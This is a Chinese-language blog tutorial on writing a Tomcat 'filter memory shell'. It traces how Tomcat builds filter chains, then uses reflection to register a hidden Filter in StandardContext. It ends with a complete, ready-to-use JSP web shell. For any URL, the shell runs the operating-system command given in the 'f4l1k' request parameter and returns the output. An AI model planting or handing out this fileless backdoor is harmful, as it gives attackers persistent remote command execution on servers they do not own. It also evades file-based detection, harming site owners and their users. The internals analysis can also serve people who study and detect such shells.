filter 内存马

上一篇我们介绍了一些基础知识。

我们正常使用内存马肯定不能去ServletContextListener中动态注册,我们基本职能在servlet中编辑或者上传jsp类的文件,那么我们该如何实现内存马呢

这个时候我们需要去分析一下加载filter的流程

image-20211205182725952

我们需要先知道几个变量和类

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

我们的入手方法是StandardWrapperValve类,我们在

1
2
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

打上断点进行调试,首先会调用createFilterChain方法

关键在83行,会从StandardContext获取context,然后从中来获取filter的映射,并将他交给filterMaps数组,filterMaps中存储的是我们filter的名字和映射

image-20211205180803162

image-20211205180956463

接着又会从context中获取filterConfig image-20211205181502598

判断filterConfig不为null之后会调用addFilter方法,我们接着跟进

首先会判断是否filter已经加载过,防止多次加载,然后会把我们的filter加载

image-20211205182035575

组装完成后会回到ApplicationFilterChain中调用internalDoFilter方法

image-20211205182854002

我们跟进之后会发现它会从filterConfig中读取我们的FilterDefs,然后去调用doFilter

image-20211205183228358

从上面整个流程我们可以看出有三个比较关键的参数

filterMaps

filterConfig

filterDef

我们要想实现一个filter需要将他们放入context

那我们现在需要做的就是拿到context并将上面三个参数补全

因为我们需要获取到的是StandardContext类型的context,所以我们要反射两次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//获取ApplicationContext类型context
ServletContext context = request.getSession().getServletContext();
Field scontext = context.getClass().getDeclaredField("context");
scontext.setAccessible(true);
System.out.println(scontext.getType());
ApplicationContext applicationContext = (ApplicationContext)
scontext.get(context);

//获取StandardContext类型context
Field acontext = applicationContext.getClass().getDeclaredField("context");
acontext.setAccessible(true);
System.out.println(acontext);
StandardContext standarContext = (StandardContext)
acontext.get(applicationContext);

接着我们去获取到filterConfigs

1
2
3
Field configs = standarContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map) configs.get(standarContext);

因为在StandardContext中存在addFilterMap和addFilterDef方法,所以我们只用创建FilterMap和FilterDef对象,再利用反射调用上述两个方法就可以了

image-20211205204716335

image-20211205204628766

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if (filterConfigs.get(name) == null){
Filter filter = new Filter(){
@Override
public void init(FilterConfig filterConfig) {
}

@Override
public void doFilter(ServletRequest req, ServletResponse rep, FilterChain chain) throws ServletException, IOException {
if(req.getParameter("f4l1k") != null){
Process run = Runtime.getRuntime().exec(req.getParameter("f4l1k"));
InputStream in = run.getInputStream();
BufferedReader bu = new BufferedReader(new InputStreamReader(in));
String cmd = null;
while ((cmd = bu.readLine()) != null){
rep.getWriter().write(cmd);
}
}
chain.doFilter(req,rep);
}

@Override
public void destroy() {
}
};

FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilter(filter);
filterDef.setFilterClass(filter.getClass().getName()); //相当于在web.xml中设置对应类

standarContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.addURLPattern("/*");
filterDef.setDescription(DispatcherType.REQUEST.name());//动态加载设置Map时我们也设置过类似参数

standarContext.addFilterMapBefore(filterMap);

到此我们只剩一个FilterConfig没有解决,filterConfigs的key也就是我们的Filtername,而value是一个ApplicationFilterConfig,又因为这是tomcat内部包,我们不能直接去创建对象,所以我们要利用反射的方式去调用该类,然后再推入filterConfigs

image-20211205203251944

1
2
3
4
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standarContext,filterDef);
filterConfigs.put(name,filterConfig);

最终完整的filter内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
String name = "f4l1k";
ServletContext context = request.getSession().getServletContext();
Field scontext = context.getClass().getDeclaredField("context");
scontext.setAccessible(true);
System.out.println(scontext.getType());
ApplicationContext applicationContext = (ApplicationContext) scontext.get(context);

Field acontext = applicationContext.getClass().getDeclaredField("context");
acontext.setAccessible(true);
System.out.println(acontext);
StandardContext standarContext = (StandardContext) acontext.get(applicationContext);

Field configs = standarContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map) configs.get(standarContext);


if (filterConfigs.get(name) == null){
Filter filter = new Filter(){
@Override
public void init(FilterConfig filterConfig) {
}

@Override
public void doFilter(ServletRequest req, ServletResponse rep, FilterChain chain) throws ServletException, IOException {
if(req.getParameter("f4l1k") != null){
Process run = Runtime.getRuntime().exec(req.getParameter("f4l1k"));
InputStream in = run.getInputStream();
BufferedReader bu = new BufferedReader(new InputStreamReader(in));
String cmd = null;
while ((cmd = bu.readLine()) != null){
rep.getWriter().write(cmd);
}
}
chain.doFilter(req,rep);
}

@Override
public void destroy() {
}
};

FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilter(filter);
filterDef.setFilterClass(filter.getClass().getName());

standarContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.addURLPattern("/*");
filterDef.setDescription(DispatcherType.REQUEST.name());

standarContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standarContext,filterDef);
filterConfigs.put(name,filterConfig);
}
%>

该内存马职能在Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3,也就是我们无法设置FilterMap

参考链接